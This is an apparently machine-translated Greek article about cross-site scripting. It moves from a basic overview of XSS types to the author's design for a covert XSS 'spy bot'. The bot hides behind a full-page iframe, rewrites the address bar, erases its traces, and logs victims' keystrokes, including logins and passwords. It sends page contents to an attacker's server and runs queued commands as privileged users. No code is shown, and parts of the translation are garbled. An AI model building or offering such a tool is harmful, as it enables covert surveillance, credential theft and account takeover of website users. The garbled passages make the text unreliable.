Easy Hack: Πώς να αποκτήσετε δεδομένα μέσω της συμπερίληψης σεναρίων μεταξύ ιστότοπων. Αξιοποίηση στο μέγιστο των τρωτών σημείων XSSs προειδοποίηση nscript
Τι είναι η ευπάθεια XSS; Πρέπει να την φοβάμαι;
Το Cross Site Scripting (XSS για συντομία) είναι μια ευρεία ευπάθεια που επηρεάζει πολλές εφαρμογές ιστού. Επιτρέπει σε έναν εισβολέα να εισάγει κακόβουλο κώδικα σε έναν ιστότοπο με τέτοιο τρόπο ώστε το πρόγραμμα περιήγησης του χρήστη που επισκέπτεται τον ιστότοπο να εκτελέσει τον κώδικα.
Συνήθως, η εκμετάλλευση μιας τέτοιας ευπάθειας απαιτεί κάποια αλληλεπίδραση με τον χρήστη: είτε παρασύρονται σε έναν μολυσμένο ιστότοπο χρησιμοποιώντας κοινωνική μηχανική, είτε απλά περιμένουν τον χρήστη να επισκεφτεί τον ίδιο τον ιστότοπο. Επομένως, οι προγραμματιστές συχνά δεν λαμβάνουν σοβαρά υπόψη τις ευπάθειες XSS. Εάν όμως δεν αντιμετωπιστούν, ενδέχεται να αποτελέσουν σοβαρή απειλή για την ασφάλεια.
Φανταστείτε ότι είμαστε στον πίνακα διαχείρισης του WordPress, προσθέτοντας νέο περιεχόμενο. Εάν χρησιμοποιήσουμε μια προσθήκη ευάλωτη στο XSS για αυτό, μπορεί να αναγκάσει το πρόγραμμα περιήγησης να δημιουργήσει έναν νέο διαχειριστή, να τροποποιήσει το περιεχόμενο και να εκτελέσει άλλες κακόβουλες ενέργειες.
Το σενάριο μεταξύ ιστότοπων δίνει σε έναν εισβολέα σχεδόν πλήρη έλεγχο του πιο σημαντικού λογισμικού αυτές τις μέρες - του προγράμματος περιήγησης.
XSS: Ένα ευάλωτο στην ένεση
Οποιοσδήποτε ιστότοπος ή εφαρμογή έχει πολλά σημεία εισόδου - πεδία φόρμας έως το ίδιο το URL. Το απλούστερο παράδειγμα εισαγωγής δεδομένων είναι όταν εισάγουμε ένα όνομα χρήστη και έναν κωδικό πρόσβασης σε μια φόρμα:
Σχήμα 1. Φόρμα εισαγωγής δεδομένων
Το όνομά μας θα αποθηκευτεί στη βάση δεδομένων του ιστότοπου για μελλοντική επικοινωνία μαζί μας. Σίγουρα, όταν συνδεθήκατε σε οποιονδήποτε ιστότοπο, είδατε έναν προσωπικό χαιρετισμό με το στυλ "Καλώς ήλθατε, Ilya." Για αυτόν τον σκοπό αποθηκεύονται τα ονόματα χρηστών στη βάση δεδομένων.
Η ένεση είναι μια διαδικασία όταν, αντί για όνομα ή κωδικό πρόσβασης, εισάγεται μια ειδική ακολουθία χαρακτήρων, αναγκάζοντας τον διακομιστή ή το πρόγραμμα περιήγησης να αντιδράσει με έναν συγκεκριμένο τρόπο που χρειάζεται ο εισβολέας.
Το σενάριο μεταξύ ιστότοπων αναφέρεται σε ένεση που εισάγει κώδικα που θα εκτελεί ενέργειες στο πρόγραμμα περιήγησης για λογαριασμό ενός ιστότοπου. Αυτό μπορεί να συμβεί τόσο με την ειδοποίηση του χρήστη όσο και στο παρασκήνιο, χωρίς να το γνωρίζει.
Σχήμα 2. Ένα οπτικό διάγραμμα σεναρίων μεταξύ τόπων
Το απλούστερο παράδειγμα είναι ένα στοιχειώδες σενάριο που εμφανίζει ένα παράθυρο ειδοποιήσεων. Μοιάζει με αυτό:
Πίνακας 1. Σενάριο που καλεί το αναδυόμενο παράθυρο
Αυτό το σενάριο καλεί ένα παράθυρο με τις λέξεις "ΑΥΤΟ ΕΙΝΑΙ ΕΥΘΥΝΗΤΗΤΑ XSS !!!". Το πρόγραμμα περιήγησης του χρήστη αντιλαμβάνεται και εκτελεί αυτό το σενάριο ως μέρος του νόμιμου κώδικα του ιστότοπου.
Τύποι ευπάθειας XSS
Δεν είναι όλες οι ευπάθειες XSS ίδιες, υπάρχουν πολλοί τύποι. Εδώ είναι οι τύποι και πώς αλληλεπιδρούν:
Σχήμα 3. Τύποι ευπάθειας XSS
Ευπάθειες που προκαλούνται από τον κώδικα του διακομιστή (Java, PHP, .NET κ.λπ.):
Παραδοσιακές επιθέσεις XSS:
- Αντανακλάται (αδρανές). Μια αντανακλαστική επίθεση XSS ενεργοποιείται όταν ένας χρήστης κάνει κλικ σε έναν ειδικά προετοιμασμένο σύνδεσμο. Αυτές οι ευπάθειες εμφανίζονται όταν τα δεδομένα που παρέχονται από ένα πρόγραμμα-πελάτη ιστού, πιο συχνά σε παραμέτρους αιτήματος HTTP ή σε μορφή HTML, εκτελούνται απευθείας από σενάρια διακομιστή για να αναλύσουν και να εμφανίσουν μια σελίδα αποτελεσμάτων για αυτόν τον πελάτη, χωρίς κατάλληλη επεξεργασία.
- Αποθηκευμένο (επίμονο). Το αποθηκευμένο XSS είναι δυνατό όταν ένας εισβολέας είναι σε θέση να εισάγει κακόβουλο κώδικα σε έναν διακομιστή που εκτελείται στο πρόγραμμα περιήγησης κάθε φορά που έχει πρόσβαση στην αρχική σελίδα. Ένα κλασικό παράδειγμα αυτής της ευπάθειας είναι τα φόρουμ όπου επιτρέπονται τα σχόλια HTML.
Ευπάθειες που προκαλούνται από κώδικα πελάτη (JavaScript, Visual Basic, Flash κ.λπ.):
Επίσης γνωστά ως μοντέλα DOM:
- Αντανακλάται (αδρανές). Το ίδιο όπως στην περίπτωση του διακομιστή, μόνο σε αυτήν την περίπτωση η επίθεση είναι δυνατή λόγω του γεγονότος ότι ο κώδικας επεξεργάζεται από το πρόγραμμα περιήγησης.
- Αποθηκευμένο (επίμονο). Παρόμοιο με το αποθηκευμένο XSS από την πλευρά του διακομιστή, μόνο σε αυτήν την περίπτωση το κακόβουλο στοιχείο αποθηκεύεται στην πλευρά του πελάτη χρησιμοποιώντας χώρο αποθήκευσης του προγράμματος περιήγησης.
Ευπάθειες υποδομής (πρόγραμμα περιήγησης, προσθήκες, διακομιστές κ.λπ.):
Πολύ σπάνιο, αλλά πιο επικίνδυνο:
- Υποδομή πελάτη. Εμφανίζεται όταν ένα κακόβουλο στοιχείο εκτελεί τυχόν χειρισμούς με τη λειτουργικότητα του προγράμματος περιήγησης, για παράδειγμα, με το φίλτρο XSS κ.λπ.
- Υποδομή διακομιστή. Εμφανίζεται όταν ένας διακομιστής ιστού δεν επεξεργάζεται σωστά τα αιτήματα, επιτρέποντάς τους να τροποποιηθούν.
- Δίκτυο. Εμφανίζεται όταν είναι δυνατή η διείσδυση επικοινωνίας μεταξύ πελάτη και διακομιστή.
Ευπάθειες που προκαλούνται από τον χρήστη:
- Self-XSS. Συχνά συμβαίνει ως αποτέλεσμα της κοινωνικής μηχανικής, όταν ένας χρήστης εκτελεί κατά λάθος κακόβουλο κώδικα στο πρόγραμμα περιήγησής του.
Ποιος είναι ο κίνδυνος του XSS;
Πώς μπορείτε να προστατεύσετε τον ιστότοπό σας από το XSS; Πώς να ελέγξετε τον κώδικα για ευπάθειες; Υπάρχουν τεχνολογίες όπως το τείχος προστασίας Sucuri που έχουν σχεδιαστεί ειδικά για την αποφυγή τέτοιων επιθέσεων. Αλλά εάν είστε προγραμματιστής, σίγουρα θα θελήσετε να μάθετε περισσότερα σχετικά με τον τρόπο εντοπισμού και αποκατάστασης τρωτών σημείων XSS. Θα το συζητήσουμε στο επόμενο μέρος του άρθρου σχετικά με το XSS.
Όλοι γνωρίζουν εδώ και πολύ καιρό ότι πιο συχνά, χρησιμοποιώντας το XSS, ένας εισβολέας προσπαθεί να στείλει ένα cookie σε ένα θύμα, να διαβάσει μάρκες CSRF, να πραγματοποιήσει μια επίθεση ηλεκτρονικού ψαρέματος (δημιουργώντας μια πλαστή φόρμα σύνδεσης), να εκτελέσει κάποια ενέργεια εκ μέρους ενός χρήστη και κάποιες άλλες παρόμοιες επιθέσεις (ίσως αυτό δεν συμβαίνει) όλες τις δυνατότητες, αλλά αυτές είναι όλες οι πιο δημοφιλείς που γνωρίζω αυτήν τη στιγμή).
Ο σκοπός αυτής της μεθόδου είναι να παρακολουθεί τις σελίδες εκ μέρους του χρήστη στον οποίο μεταβαίνει στον ιστότοπο που δέχεται επίθεση, καθώς και να παρακολουθεί τα πλήκτρα του (μπορείτε επίσης να μετακινήσετε και να κάνετε κλικ στο ποντίκι, αλλά για μένα αυτό θα είναι περιττές, όχι πολύ χρήσιμες πληροφορίες, στις περισσότερες περιπτώσεις σίγουρα) ...
Τώρα για το μέγιστο όφελος - πιστεύω ότι ο αλγόριθμος θα ήταν έτσι:
- διαβάστε και στείλτε cookies.
- διαβάστε και στείλτε τις υπόλοιπες πληροφορίες (διεύθυνση IP, εγκατεστημένες προσθήκες, έκδοση και τύπος προγράμματος περιήγησης, υποστήριξη flash, υποστήριξη silverlight κ.λπ.) [προαιρετικά]
- παίρνουμε πληροφορίες για το εσωτερικό δίκτυο, διαπερνούμε το δρομολογητή [προαιρετικό]
- διαβάστε και στείλτε διαφορετικά διακριτικά [προαιρετικά]
- εφαρμόζουμε ηλεκτρονικό ψάρεμα [προαιρετικό].
- κάντε κάτι "με το χέρι" "από τον χρήστη [προαιρετικό].
- συνεχίζουμε να τον κατασκοπεύουμε και να εξάγουμε πληροφορίες έως ότου έκλεισε την καρτέλα ή έφυγε από τον ιστότοπο.
Όλα τα προαιρετικά στοιχεία της λίστας πρέπει να εκτελούνται ανάλογα με την κατάσταση και τις συγκεκριμένες προτεραιότητες για τους στόχους που πρέπει να επιτευχθούν χρησιμοποιώντας το XSS, μπορεί μερικές φορές να αλληλεπιδρούν μεταξύ τους (εάν προσπαθείτε να τα συνδυάσετε, πιο συγκεκριμένα, να εκτελέσετε το ένα μετά το άλλο) και να αυξήσετε την πιθανότητα αποτυχίας εκμετάλλευσης XSS.
Ωστόσο, τα πρώτα και τελευταία σημεία πρέπει πάντα να ακολουθούνται. Σε κάθε περίπτωση, το κύριο μέρος του άρθρου θα αφορά το τελευταίο σημείο αυτής της λίστας.
Ερχόμαστε στο στόχο.
Θα ξεκινήσω από μακριά: μέσω JavaScript είναι δυνατό να αλλάξετε τη διαδρομή στη γραμμή διευθύνσεων χωρίς να φορτώσετε ξανά τη σελίδα. Για παράδειγμα, εάν ένας χρήστης έχει φορτώσει μια σελίδα στο
http://site.com/some/path/to/page/
Στη συνέχεια, στη γραμμή διευθύνσεων το περιεχόμενο θα γίνει ως εξής (χωρίς να φορτώσετε ξανά τη σελίδα):
http://site.com/new-url/
http: //site.com/new-url/ |
Παρεμπιπτόντως, αυτή η λειτουργία είναι μερικές φορές αρκετά χρήσιμη όταν είναι απαραίτητο να αποκρύψετε από τους χρήστες (ή πιο προσεκτική κατηγορία χρηστών - διαχειριστές) τη διεύθυνση URL αφού κάνει κλικ στον σύνδεσμο που περιείχε το Reflected XSS, έτσι ώστε αργότερα, μετά τη φόρτωση της σελίδας, στη γραμμή διευθύνσεων, δεν βρήκα τίποτα.
http: //site.com/search.php?q\u003d123 |
http://site.com/search.php?q\u003d123
http: //site.com/search.php?q\u003d123 |
θα του στερήσουμε αυτήν την ευκαιρία.
Αλλά αυτή η τεχνική έχει ακόμη πιο ενδιαφέρουσες και ισχυρές χρήσεις. Θα προσομοιώσουμε τη διαμονή του χρήστη στον ιστότοπο αφού κάνει κλικ στον σύνδεσμο, στην πραγματικότητα, θα παραμείνει στην ίδια σελίδα όλη την ώρα και αυτή τη στιγμή θα λειτουργεί ένα σενάριο τρίτου μέρους, εξάγοντας και στέλνοντας πληροφορίες στον εισβολέα. Με αυτόν τον τρόπο, Το XSS θα λειτουργήσει όσο ο χρήστης ακολουθεί τον σύνδεσμο σε αυτόν τον τομέα .
Ορίζουμε την ιδέα.
Η γενική αρχή της λειτουργίας έχει ως εξής: όταν ένας χρήστης επισκέπτεται μια σελίδα με XSS, το σενάριο δημιουργεί ένα iframe με την ίδια διεύθυνση με τη σελίδα και το "επισυνάπτει" στο πρώτο πλάνο, ο χρήστης παίρνει την εντύπωση ότι η σελίδα φορτώνεται κανονικά, επειδή το iframe μπορεί να δει μόνο τον κώδικα σελίδες.
Και το βοηθητικό σενάριο ελέγχει τη λογική του spy bot, δηλαδή παρακολουθεί πότε αλλάζει η διεύθυνση στο πλαίσιο για να την αλλάξει στη γραμμή διευθύνσεων, αλλά αν υπάρχει διαφορετικός τομέας στη νέα διεύθυνση του πλαισίου, τότε μπορείτε να το ανοίξετε σε μια νέα vlkadka, ή θα πρέπει να φορτώσετε ξανά τη σελίδα για να μην καεί.
Έτσι, για να σταματήσει η εκτέλεση του XSS αυτή τη στιγμή, ο χρήστης πρέπει είτε να ανανεώσει τη σελίδα χειροκίνητα (εάν το XSS αντανακλάται και μεταδόθηκε με τη μέθοδο POST, σε άλλες περιπτώσεις η ενημέρωση δεν θα αποθηκευτεί και παρεμπιπτόντως, ορισμένα προγράμματα περιήγησης μπορούν τώρα να στείλουν ξανά το αίτημα POST κατά την ενημέρωση της σελίδας) κλείστε την καρτέλα ή μεταβείτε σε άλλο τομέα (αν και σε αυτήν την περίπτωση μπορείτε να αποφύγετε την απώλεια ελέγχου)
Εάν μεταβεί σε έναν υποτομέα του επιτιθέμενου τομέα, τότε η επιλογή του εισβολέα, δηλαδή, το XSS θα λειτουργήσει, αλλά υπάρχει μια μικρή πιθανότητα ο χρήστης να δει μια ασυμφωνία μεταξύ της διεύθυνσης. Νομίζω ότι εδώ σύμφωνα με την κατάσταση, για παράδειγμα, εάν επιτέθηκε ο τομέας google.ru, ο χρήστης πήγε στην υπηρεσία αρχείων cloud της Google, η οποία συνήθως βρίσκεται στον υποτομέα drive.google.ru, τότε η πιθανότητα ότι θα παρατηρήσει την αλίευση όταν κοιτάζει στη γραμμή διευθύνσεων είναι αρκετά υψηλή , εάν χρησιμοποιούσε αυτήν την υπηρεσία συχνά... Διαφορετικά, μπορείτε να το διακινδυνεύσετε. Αλλά πρέπει να λάβουμε υπόψη ότι δεν θα είμαστε σε θέση να διαβάσουμε τα δεδομένα του από ένα πλαίσιο με έναν υποτομέα, καθώς η Πολιτική Cross Origin δεν θα το επιτρέψει. Αλλά μπορούμε ήρεμα να ανεβούμε τον κύριο τομέα εκ μέρους του σε λειτουργία μυστικότητας (παρακάτω θα αναφερθούμε περισσότερο σε αυτό με περισσότερες λεπτομέρειες).
Μόνο αυτή η μέθοδος έχει περιορισμούς, δηλαδή - δεν θα λειτουργήσει εάν υπάρχει μια κεφαλίδα στις απαντήσεις του διακομιστή ιστού του ιστότοπου Επιλογές X-Frameμε το νόημα ΑΡΝΟΥΜΑΙ... Αλλά προσωπικά, έχω γνωρίσει τέτοιες ιστοσελίδες μερικές φορές, τώρα ακόμη και τις μισές ΙΔΙΟΤΗΤΑδεν εκτίθεται, πόσο μάλλον τον πλήρη περιορισμό ΑΡΝΟΥΜΑΙ.
Αναλύουμε την ιδέα.
Τώρα πολλοί πιθανότατα θυμόταν ένα υπέροχο πράγμα όπως το BeEF, το οποίο έχει επίσης πολλά ενδιαφέροντα πράγματα. Παρεμπιπτόντως, υπάρχει επίσης μια επιλογή για αναγκαστική ανακατεύθυνση χρήστη στο πλαίσιο, αλλά η διεύθυνση στη γραμμή διευθύνσεων δεν αλλάζει, η οποία μπορεί να κάψει γρήγορα το γραφείο και αυτή η επιλογή εξυπηρετεί λίγο για άλλους σκοπούς.
Σε γενικές γραμμές, το BeEF'e έχει σχεδόν όλα όσα χρειάζεστε και ακόμη και πολλές επιπλέον λειτουργίες, αλλά προσωπικά ήθελα επιπλέον λειτουργικότητα, δηλαδή:
- τη δυνατότητα παρακολούθησης του κώδικα των σελίδων που είναι διαθέσιμοι στον επιτιθέμενο χρήστη σε πραγματικό χρόνο ·
- τη δυνατότητα παρακολούθησης όλων όσων πληκτρολογεί σε αυτόν τον ιστότοπο (από σύνδεση και κωδικό πρόσβασης, hotkeys και μηνύματα), δηλαδή, keylogger στο JS,
- τη δυνατότητα παροχής εντολών JS στο bot σας σε πραγματικό χρόνο, αφού δείτε τον κώδικα των ληφθεισών σελίδων,
- τη δυνατότητα να αφήσετε εντολές στο bot τοπικά, ώστε να τις «παραλαμβάνει» και να τις εκτελεί χωρίς την άμεση συμμετοχή μας.
- χαμηλότερη πιθανότητα να καεί το bot ή την ικανότητα του bot να "κρυφτεί" από τα αδιάκριτα μάτια.
Όπως αναφέρθηκε παραπάνω - αποφάσισα να δανειστώ από την BeEF'a cool ιδέα της ουράς εκτέλεσης εντολών. Για παράδειγμα, αναλύσαμε τις σελίδες που έριξε το bot όταν ένας προνομιούχος χρήστης ανέβηκε στον πίνακα ελέγχου του με αποθηκευμένο XSS, αφήνουμε την εντολή στον κώδικα bot - JS, όπως την επόμενη φορά που θα εισέλθει ο χρήστης, πατήστε αυτό το κουμπί, γράψτε αυτήν την τιμή εδώ και ούτω καθεξής. Όταν αυτός ο χρήστης επισκέπτεται στη συνέχεια τη σελίδα, το bot διαβάζει τις εντολές και τις εκτελεί και δεν χρειάζεται να είμαστε στο τιμόνι του - είναι πολύ βολικό.
Βασικά, ένα τέτοιο bot, φυσικά, έχει σχεδιαστεί για χρήστες κατάστασης ορισμένων ιστότοπων που έχουν πρόσθετους "μοχλούς" διαχείρισης περιεχομένου, άλλους χρήστες και ούτω καθεξής. Από τα αιτήματα για λειτουργικότητα είναι σαφές ότι δεν μπορείτε να κάνετε χωρίς την πλευρά του διακομιστή.
Ας εφαρμόσουμε την ιδέα.
Κατ 'αρχήν, μπορείτε να παραλείψετε αυτό το μέρος του άρθρου, καθώς περιγράφει απλώς τη διαδικασία υλοποίησης του επιθυμητού bot και μερικές από τις λεπτομέρειες του, σε περίπτωση που κάποιος θέλει να το ξανακάνει ή να το τελειώσει μόνοι του. Αν και το bot στην αρχή του κώδικα θα έχει μεταβλητές μέσω των οποίων μπορείτε να ορίσετε ορισμένες ρυθμίσεις.
Πρώτον, ο αλγόριθμος των ενεργειών bot από τη στιγμή της φόρτωσης:
1) Έλεγχος κεφαλίδας Επιλογές X-Frame: DENY(εάν υπάρχει, τυλίξτε τα καλάμια) ·
2) Ενσωμάτωση πλαισίου και ρύθμιση όλων των στοιχείων του bot.
3) Κατάργηση του σεναρίου και όλων των ιχνών στον κώδικα HTML.
4) Δημιουργία επαφής με την πλευρά του διακομιστή και έναρξη της αποστολής δεδομένων, αντίδραση σε απαντήσεις (λήψη εντολών από τον διακομιστή).
Το πρώτο σημείο δεν ήταν εντελώς πλήρες, δηλαδή, το bot ελέγχει μόνο την πρώτη σελίδα και την κεφαλίδα του root. Το γεγονός είναι ότι συνήθως αυτές οι κεφαλίδες ενσωματώνονται από τον διακομιστή ιστού για όλες τις σελίδες ταυτόχρονα και είναι πολύ σπάνιο ότι όλα γίνονται "χειροκίνητα" για μια ξεχωριστή σελίδα. Και αυτός ο τίτλος είναι πολύ σπάνιος. Λοιπόν, δεν υπάρχει τίποτα το ιδιαίτερο να πούμε για το δεύτερο και το τρίτο, όλα θα είναι χαμηλότερα.
Υπάρχει ένα σχετικά σημαντικό σημείο ότι πριν προσθέσετε τον κώδικα δέσμης ενεργειών bot στον κώδικά σας, πρέπει να απαλλαγείτε αμέσως από τα σημάδια XSS στη γραμμή διευθύνσεων (από τον κώδικα JS), καθώς αυτό μειώνει τις πιθανότητες ανίχνευσης και, το πιο σημαντικό, αποτρέπει την επανάληψη που συμβαίνει κατά την προσθήκη μιας διεύθυνσης στο πλαίσιο με τον ίδιο κωδικό XSS, ο οποίος με τη σειρά του δημιουργεί ένα άλλο πλαίσιο με τον εαυτό του, και ούτω καθεξής.
Αλλά σε κάθε περίπτωση, ο κώδικας bot εφαρμόζει τη δυνατότητα ανίχνευσης μιας τέτοιας αναδρομής πλαισίου και την αποτροπή του κατά την πρώτη προσπάθεια προσθήκης ενός πλαισίου σε ένα ήδη δημιουργημένο, αλλά είναι καλύτερο να μην βασίζεστε μόνο σε αυτό, αλλά να διαγράφετε επιπλέον τον κωδικό πριν από τη φόρτωση του κώδικα bot. Αν και δεν έχω αντιμετωπίσει κανένα πρόβλημα ακόμα.
Λειτουργία ελέγχου ενημέρωσης καρέ. Δοκίμασα αρκετούς τρόπους για να λύσω οικονομικά αυτό το πρόβλημα κρεμώντας τους χειριστές συμβάντων contentWindowή contentDocument, αλλά τίποτα δεν πέτυχε, οπότε έπρεπε να γράψω μια συνάρτηση που θα ελέγχει τη διεύθυνση του καρέ και θα τη συγκρίνει με αυτήν που είχε αποθηκευτεί προηγουμένως, και με βάση αυτό, θα αποφασίσει εάν το πλαίσιο έχει ενημερωθεί (αν η διεύθυνση έχει αλλάξει) και στη συνέχεια ονομάζεται αναδρομικά.
Η συχνότητα τέτοιων ελέγχων ανά δευτερόλεπτο ελέγχεται από μια μεταβλητή καθυστέρηση, που καθορίζεται στην αρχή του αρχείου κώδικα bot. Αλλά αργότερα, αφού το έγραψα, βρήκα μια πιο αποτελεσματική λύση - χρησιμοποιήστε μια απλή λύση και κολλήστε φόρτωσηανά καρέ, οπότε άφησα αυτήν τη λειτουργία, αλλά το σχολίασα, σε περίπτωση που αποδειχθεί πιο απαιτητικό αργότερα.
Αποστολή του κώδικα HTML της σελίδας.
Εδώ το σχήμα είναι αρκετά απλό - μετά από κάθε επαναφόρτωση του πλαισίου (συμπεριλαμβανομένης της πρώτης φόρτωσης), το bot στέλνει στον διακομιστή ολόκληρο τον κώδικα HTML της σελίδας μαζί με την τρέχουσα διεύθυνσή του, ώστε αργότερα να μπορείτε να διακρίνετε εάν ο κώδικας ανήκει στις απαιτούμενες σελίδες.
Η λογική της αποθήκευσης σελίδων εφαρμόζεται στον διακομιστή - ο διακομιστής για κάθε τομέα δημιουργεί ένα φάκελο με το όνομα αυτού του τομέα και αποθηκεύουμε όλα τα δεδομένα εκεί. Οι κωδικοί σελίδας αποθηκεύονται και ενημερώνονται συνεχώς στις πιο πρόσφατες εκδόσεις, αλλά κάθε νέα μέρα δημιουργείται ένα νέο αντίγραφο της σελίδας, ώστε να μπορείτε να ελέγχετε το ιστορικό εκδόσεων, εάν είναι απαραίτητο. Δηλαδή, για /news.phpΤην 1η Σεπτεμβρίου, η κατάσταση θα ενημερωθεί και ήδη στις 2 Σεπτεμβρίου, θα δημιουργηθεί ένα αντίγραφο, σχετικό μόνο για εκείνη την ημέρα και έτσι κάθε μέρα ξανά (εάν ο χρήστης επισκέπτεται αυτήν τη σελίδα κάθε μέρα). Το όνομα της σελίδας αποτελείται από την ημερομηνία και τη διαδρομή προς αυτήν τη σελίδα σε σχέση με τη ρίζα του ιστότοπου (δηλαδή, χωρίς τομέα).
Keylogger σε JavaScript.
Η ιδέα έχει ήδη υλοποιηθεί από ορισμένους ενθουσιώδεις, αλλά για μένα οι εξελίξεις τους δεν ταίριαζαν, αν μόνο επειδή οι περισσότεροι από αυτούς ήταν αρκετά απλοί, δηλαδή, ανίχνευσαν τον κώδικα του πατημένου πλήκτρου και μέσω String.fromCharCodeμεταφράζεται σε σύμβολα. Αλλά αυτή η μέθοδος έχει ορισμένα μειονεκτήματα - τα πλήκτρα ελέγχου όπως shift, control, space κ.λπ., δεν μεταφράζονται σε καμία μορφή (συχνά απλώς ένας άδειος χαρακτήρας), η αλληλεπίδραση των αλφαριθμητικών πλήκτρων με το πλήκτρο shift καταγράφεται εσφαλμένα, καθώς αυτό πρέπει να εφαρμοστεί μέσω προγραμματισμού και Επίσης, όλα τα πατημένα πλήκτρα εμφανίζονται με κεφαλαία γράμματα, τα οποία μπορούν επίσης να διορθωθούν μέσω προγραμματισμού.
Ως αποτέλεσμα, λάβαμε ένα keylogger που ανίχνευσε σωστά όλα τα πλήκτρα αριθμών, γραμμάτων και βασικών χαρακτήρων, δουλεύοντας και στις δύο διατάξεις, απαντώντας στη μετατόπιση και καταγράφοντας όλα τα κύρια ειδικά πλήκτρα. Είναι αλήθεια ότι ορισμένοι χαρακτήρες (στο πάνω μέρος της ψηφιακής σειράς, οι οποίοι εκτυπώνονται όταν πατηθεί η μετατόπιση και ο αριθμός), σε ορισμένα μηχανήματα ενδέχεται να διαφέρουν, καθώς εφαρμόστηκαν σύμφωνα με το κύριο πρότυπο, το οποίο ορισμένες εταιρείες αλλάζουν για ορισμένα.
Κάθε τμήμα των πατημένων χαρακτήρων διατηρείται από τον πελάτη έως ότου το στοιχείο κειμένου χάσει την εστίαση. Στη συνέχεια, αυτό το τμήμα αποστέλλεται στον διακομιστή, όπου αποθηκεύεται σε ένα αρχείο κειμένου, το οποίο θα δημιουργείται επίσης κάθε μέρα με ένα νέο αντίγραφο, έτσι ώστε να μην υπάρχει ανάπτυξη σε μεγάλα μεγέθη και μπορείτε να βρείτε γρήγορα αυτό που ο χρήστης πληκτρολογούσε σε μια τέτοια στιγμή.
Εκτός από τα ίδια τα πλήκτρα, πληροφορίες για το στοιχείο στο οποίο πληκτρολογήθηκε το κείμενο αποστέλλονται στο διακομιστή με κάθε τμήμα (δηλαδή, ήταν , ή μερικά
όταν ο χρήστης χρησιμοποίησε hotkeys), εκτός από το όνομα του στοιχείου, αποστέλλονται τα βασικά του δεδομένα (id, name, class - if present) έτσι ώστε να μπορούν να βρεθούν εύκολα στον κώδικα. Και φυσικά, καταγράφεται η διεύθυνση της σελίδας στην οποία υπήρχε ένα σετ και ο κατά προσέγγιση χρόνος αυτού του συνόλου. Γενικά, οι πληροφορίες σχετικά με τον χρήστη που χτυπά το πληκτρολόγιο αποστέλλονται αρκετά για την επόμενη ανάλυσή του.
Δώστε εντολή στο bot σας.
Αυτή η διαδικασία μπορεί να πραγματοποιηθεί από έναν εισβολέα ή από την πλευρά όπου ξεκινά το τμήμα διακομιστή του bot ή ακόμα και από απόσταση. Αφού ξεκινήσει το σενάριο του διακομιστή, ξεκινά ένας αυτογραφημένος μικροσκοπικός διακομιστής ιστού, ο οποίος εξυπηρετεί τα αιτήματα του bot και του ελεγκτή του, το οποίο λειτουργεί μέσω της διεπαφής ιστού. Δηλαδή, μετά την εκκίνηση, ο διακομιστής ιστού εκδίδει έναν σύνδεσμο, κάνοντας κλικ στον οποίο μπορείτε να αρχίσετε να δίνετε εντολές στο bot.
Σχετικά με αυτόν τον πίνακα ελέγχου. Πρώτον, ήταν απαραίτητο να τον περιορίσετε με έναν κωδικό πρόσβασης (η διαδρομή και λίγα άτομα θα γνωρίζουν για την τρέχουσα υπηρεσία σε μια τέτοια θύρα ή για τη διεύθυνση στην οποία πρέπει να συνδεθείτε για να χρησιμοποιήσετε αυτήν την υπηρεσία), έτσι ώστε όταν εισαγάγετε για πρώτη φορά ο διακομιστής θα ζητήσει έναν κωδικό πρόσβασης που παρέχεται στη γραμμή διευθύνσεων (παρέχεται ένα παράδειγμα), ο αρχικός κωδικός πρόσβασης αποθηκεύεται στο password.txtπου μπορεί να αλλάξει. Μετά την πρώτη επίσκεψη, ο διακομιστής ιστού θα δώσει εντολή στο πρόγραμμα περιήγησης να αποθηκεύσει τον κωδικό πρόσβασης σε ένα cookie, οπότε δεν χρειάζεται να ανησυχείτε για αυτό.
Στη σελίδα για την αποστολή εντολών στο ίδιο το bot, υπάρχουν επίσης πληροφορίες σχετικά με την κατάσταση του bot - είτε είναι online είτε εκτός σύνδεσης αυτή τη στιγμή, και μερικές ρυθμίσεις, η πρώτη από τις οποίες είναι ο κεντρικός υπολογιστής, δηλαδή η διεύθυνση IP ή ο τομέας του ιστότοπου στον οποίο θα αποστέλλονται οι εντολές στο bot. Αυτό έχει σχεδιαστεί σε περίπτωση που αρκετοί ιστότοποι περιέχουν αυτό το bot, ώστε να μπορούν να αναγνωριστούν. Στον διακομιστή, για αυτήν την περίπτωση, όλα τα δεδομένα χωρίζονται επίσης σε φακέλους με ονόματα τομέα.
Στη συνέχεια έρχεται το παράθυρο για να γράψετε εντολές στο bot στο JS και η επιλογή που καθορίζει πού θα εκτελεστεί αυτός ο κώδικας JS, στο κύριο παράθυρο όπου κάθεται το bot ή σε ένα πλαίσιο - αυτό γίνεται για ευκολία, για κάθε περίπτωση.
Εάν το bot δεν είναι συνδεδεμένο, τότε ο διακομιστής αποθηκεύει απλώς τις εντολές και αργότερα, όταν το bot συνδεθεί, δηλαδή, ο χρήστης επισκέπτεται ξανά τη σελίδα μαζί του ή ακολουθεί τον σύνδεσμο του εισβολέα - αυτές οι εντολές θα εκτελεστούν.
Αυτό είναι πολύ βολικό εάν, κατά τη διάρκεια της πρώτης εξερεύνησης, το bot έριξε όλες τις σελίδες που επισκέφτηκε ο χρήστης (για παράδειγμα, έναν προσωπικό λογαριασμό), έχοντας μελετήσει τον κώδικα των οποίων συντάξαμε εντολές στο JS, έτσι ώστε αργότερα το bot να κάνει κλικ στους συνδέσμους που χρειαζόμαστε, να εισαγάγει τα απαραίτητα δεδομένα, να εμφανίσει τις απαραίτητες εικόνες κ.λπ., που θα βοηθήσουν επιτύχετε τον καθορισμένο στόχο.
Ή μπορείτε απευθείας σε πραγματικό χρόνο, να κοιτάξετε γρήγορα τα περιεχόμενα των σελίδων μέσω του κώδικα και να δώσετε στις εντολές bot να στείλουν τον κωδικό άλλων σελίδων, να μεταβούν σε άλλη διεύθυνση κ.λπ. Και όλα αυτά θα γίνουν "πίσω από την οθόνη" από τον χρήστη, ο οποίος θα περιηγηθεί ήρεμα τοποθεσία μέσω του πλαισίου.
